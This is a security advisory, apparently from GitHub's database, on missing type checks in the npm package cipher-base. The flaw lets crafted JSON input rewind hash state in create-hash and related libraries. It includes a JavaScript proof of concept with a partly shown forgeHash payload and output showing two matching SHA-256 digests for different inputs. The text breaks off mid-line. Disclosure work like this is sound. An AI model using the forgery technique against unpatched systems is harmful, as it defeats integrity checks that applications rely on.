Improper Input Validation vulnerability in cipher-base allows Input Data Manipulation.This issue affects cipher-base: through 1.0.4.

GHSA-cpq7-6gpm-g9rc — cipher-base is missing type checks, leading to hash rewind and passing on crafted data

Affected: npm: cipher-base

### Summary

This affects e.g. `create-hash` (and `crypto-browserify`), so I'll describe the issue against that package Also affects `create-hmac` and other packages

Node.js `createHash` works only on strings or instances of Buffer, TypedArray, or DataView.

Missing input type checks (in npm `create-hash` polyfill of Node.js `createHash`) can allow types other than a well-formed `Buffer` or `string`, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour.

### Details

See PoC

### PoC ```js const createHash = require('create-hash/browser.js') const { randomBytes } = require('crypto')

const sha256 = (...messages) => { const hash = createHash('sha256') messages.forEach((m) => hash.update(m)) return hash.digest('hex') }

const validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever

const payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe') const receivedMessage = JSON.parse(payload) // e.g. over network, whatever

console.log(sha256(...validMessage)) console.log(sha256(...receivedMessage)) console.log(receivedMessage[0]) ```

Output: ``` 9ef59a6a745990b09bbf1d99abe43a4308b48ce365935e29eb4c9000984ee9a9 9ef59a6a745990b09bbf1d99abe43a4308b48ce365935e29eb4c9000984ee9a9 Hashed input means safe ```

This works with: ```js const forgeHash = (valid, wanted) => JSON.stringify([wanted, { length: -wanted.length }, { ...valid, le…
